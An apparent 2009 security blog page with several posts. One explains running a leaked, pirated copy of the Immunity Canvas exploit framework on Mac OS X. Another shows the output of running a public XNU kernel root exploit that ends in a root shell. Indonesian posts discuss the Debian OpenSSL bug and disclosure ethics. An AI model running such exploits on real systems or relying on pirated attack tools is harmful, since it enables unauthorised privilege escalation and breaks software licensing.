Cyberheb

[k-elektronik /export/home/staff/cyberheb]# cat .live

Immunity Canvas (6.23) and Snow Leopard

TAGS: None

If you wanna try Immunity Canvas but have no much money to buy it so probably you’ll try Immunity Canvas product which was leak on internet (by somebody called ‘ikex’?), and if  you’re using Snow Leopard then probably you’ll face same problem with me.

As we know, Immunity Canvas 6.23 required libglade and pygtk (no idea of latest release, sorry). Under documentation directory there’s note about how to install it on Mac OSX:

# NOTE:
# If you install python before, or install the ports in different order and the GUI
# is not working for you, try uninstalll all the port and install it in the right order

[o] Install XcodeTools:
        -> Sometimes, the installer is on your HD already:
	 Applications->Installers->Xcode Tools->XcodeTools.mpkg
        -> Or find it on the Tiger DVD
        -> Or download it from apple.com website

[o] Download and install Darwinports :

http://www.darwinports.org/getdp/

	The usual: ./configure && make && sudo make install
	once they are installed:
	(change PATH to /opt/local/bin)

	If you are behind an http_proxy, you would probably need:
	$ sudo -s
	# export RSYNC_PROXY=192.168.1.1:3128
	# export ftp_proxy=192.168.1.1:3128
	# export http_proxy=192.168.1.1:3128
	# port -d selfupdate

	or just
	$ sudo port -d selfupdate

[o] Install libglade and pygtk
	$ sudo port install libglade2 py-gtk2

[o] Install X11?
       If you dont have X11 (Tiger OSX users can find it on the DVD, go to "Optional Installs)) you can download it from the Apple website:

http://www.apple.com/downloads/macosx/apple/x11formacosx.html

	Download X11User.dmg and install it 

[o] Run X11
   Having X11 doesn't mean your GUI will change at all, it will simply open an xterm where you will be able to run the CANVAS gui.
   $ /Applications/Utilities/X11.app/Contents/MacOS/X11 &

[o] run canvas :D
 /opt/local/bin/python ./runcanvas.py

Unfortunately, I found this error when time come to run CANVAS (of course, I am using python2.4 to run it):

bash-3.2$ /opt/local/bin/python2.4 ./runcanvas.py
Traceback (most recent call last):
  File "./runcanvas.py", line 15, in ?
    from canvasengine import canvasmain
  File "/Applications/Immunity Canvas/canvasengine.py", line 38, in ?
    from libs.daveutil import dmkdir
  File "/Applications/Immunity Canvas/libs/daveutil.py", line 14, in ?
    import spkproxy
  File "/Applications/Immunity Canvas/libs/spkproxy.py", line 23, in ?
    from libs.tlslite.api import *
  File "/Applications/Immunity Canvas/libs/tlslite/api.py", line 61, in ?
    from integration.TLSAsyncDispatcherMixIn import TLSAsyncDispatcherMixIn
  File "/Applications/Immunity Canvas/libs/tlslite/integration/TLSAsyncDispatcherMixIn.py", line 5, in ?
    import asyncore
  File "/opt/local/lib/python2.4/asyncore.py", line 55, in ?
    from errno import EALREADY, EINPROGRESS, EWOULDBLOCK, ECONNRESET, \
ImportError: cannot import name ESHUTDOWN

I am not a python guru, so what I can guess is Snow Leopard not support ESHUTDOWN as stated on lib/python2.4/asyncore.py. I tried to take a look at python2.5 but still similar call exist there. So, the dirty patch to make this version of Immunity Canvas work is by removing ESHUTDOWN from asyncore.py. Then the problem will disappear and you can have Immunity Canvas GUI running on Snow Leopard.

Btw, asyncore was imported by Immunity Canvas to handle async socket.

http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/digg_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/reddit_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/stumbleupon_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/delicious_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/technorati_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/google_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/myspace_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/facebook_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/yahoobuzz_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/twitter_48.png

HFS-fcntl Local Kernel Root exploit on Mac OS X (XNU)

TAGS: None

I think am using latest and fully patched of OSX (Leopard), but exploit still work. Cool.

Jasmine:~ Cyberheb$ ./spl0it.sh
Apple MACOS X xnu <= 1228.x local kernel root exploit
 by: 
 http://www.digit-labs.org/ -- Digit-Labs 2008!@

* creating diskimage... done
* attaching/mounting diskimage... done
* executing exploit...

Apple MACOS X xnu <= 1228.x local kernel root exploit
by: 
http://www.digit-labs.org/ -- Digit-Labs 2008!@$!

* getattrlist...done
** attrlist length: 36
** fndrinfo:
* done

* setattrlist...done
* overwriting @0x0050A70C
* done

* setattrlist...done
* overwriting @0x0050A998
** sysent[21].sy_call: 0x0050A70C
* done

* jumping...done

* getuid(): 0
+Wh00t

bash-3.2# id
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),80(admin),20(staff),101(com.apple.sharepoint.group.1)
bash-3.2# uname -a
Darwin Jasmine.local 9.6.0 Darwin Kernel Version 9.6.0: Mon Nov 24 17:37:00 PST 2008; root:xnu-1228.9.59~1/RELEASE_I386 i386

Exploit is taken from Milw0rm. Thanks to super_temon for showing me ’bout this.

http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/digg_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/reddit_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/stumbleupon_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/delicious_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/technorati_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/google_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/myspace_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/facebook_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/yahoobuzz_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/twitter_48.png

Brute the crypto library

Tags: , ,

Rasanya baru beberapa minggu yang lalu saat phoenix nge-buzz saya via YM mengenai POC yang dia buat berdasarkan informasi di bugtraq untuk dapat melakukan DOS (dan mungkin remote exploitation) pada openssh (masalah pada malloc memory allocation) dimana masih terdapat kegagalan untuk kemudian di diskusikan bersama, minggu ini sudah ada berita lain yang cukup mengejutkan dari distribusi debian.

Seperti yang kita ketahui bersama bahwa Luciano Bello menemukan bugs pada paket openssl Debian dimana kita dapat dengan mudah memperkirakan data random yang di generate oleh openssl. Data random ini digenerate oleh beberapa parameter yang disebut ’seed’, misalnya gerakan mouse, ketikan keyboard, dll. Hasil generate tergantung algoritma yang digunakan, apabila menggunakan DSA 1024 bit maka kemungkinan key yang digunakan adalah 2^1024. Bugs pada openssl ini telah digunakan oleh distribusi Debian sejak tahun 2006, penyebab awalnya adalah informasi dari Daniel Brahneborg yang mengatakan bahwa tools Valgrind dan juga Purify yang dia gunakan saat develop suatu aplikasi menyatakan adanya Uninitialized Variable, kemudian diputuskan bahwa ada masalah pada salah satu code di md_rand.c sehingga baris tersebut di hapus dari distribusi openssl debian. Penghapusan code tersebutlah akar dari permasalahan PRNG openssl debian.

Read the rest of this entry »

http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/digg_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/reddit_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/stumbleupon_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/delicious_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/technorati_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/google_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/myspace_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/facebook_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/yahoobuzz_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/twitter_48.png

Security Consultant v.s Underground

TAGS: None

Jika kita mencermati perkembangan dunia per-hackingan saat ini, kita dapat membagi menjadi 2 bagian besar pendapat atau filosofi, pro dan kontra mengenai ‘bagaimana seorang hacker seharus nya’. Satu bagian berpendapat bahwa dunia internet security merupakan suatu ladang untuk industri, sebagai sumber penghasilan dalam hidup, mencari-cari kesalahan (bugs) dari suatu produk untuk kemudian di analisis dan di laporkan kepada vendor yang membuat produk tersebut.

Ada yang melaporkan nya begitu saja, bahkan dengan ikut menyediakan patch nya dalam bentuk advisories secara gratis. Namun ada juga beberapa pihak yang bersedia membeli bugs tersebut dengan harga tinggi, tergantung dengan produk yang dijadikan sasaran, contoh nya adalah i-defense . Dengan kata lain, melakukan jual-beli bugs secara legal.

Sedangkan pihak kedua, merupakan pihak yang membenci cara-cara dari industri security. Mereka berpendapat bahwa bugs tidak seharus nya di perlakukan seperti itu, jika mengetahui suatu bugs maka dicari penyelesaian nya untuk kemudian dilaporkan kepada vendor yang bersangkutan, atau cukup di simpan sendiri (underground style :) ).

Read the rest of this entry »

http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/digg_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/reddit_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/stumbleupon_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/delicious_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/technorati_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/google_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/myspace_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/facebook_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/yahoobuzz_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/twitter_48.png

Full Disclosure, true or false?!

TAGS: None

Beberapa hari yang lalu kembali ada diskusi cukup menarik mengenai full-disclosure. Ada yang bertanya tentang pendapat mengenai tindakan apa yang sebaiknya dilakukan apabila kita menemukan suatu bugs entah itu sistem ataupun aplikasi. Ada 2 pendapat, melaporkan pada pihak vendor yang terkadang cukup membuat kesal (kadang di remehkan oleh vendor tersebut sehingga di abaikan), atau melakukan full-disclosure pada publik.

Read the rest of this entry »

http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/digg_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/reddit_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/stumbleupon_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/delicious_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/technorati_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/google_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/myspace_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/facebook_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/yahoobuzz_48.png http://blog.cyberheb.com/wp-content/plugins/sociofluid/images/twitter_48.png

© 2009 Cyberheb. All Rights Reserved.

This blog is powered by Wordpress and Magatheme by Bryan Helmig.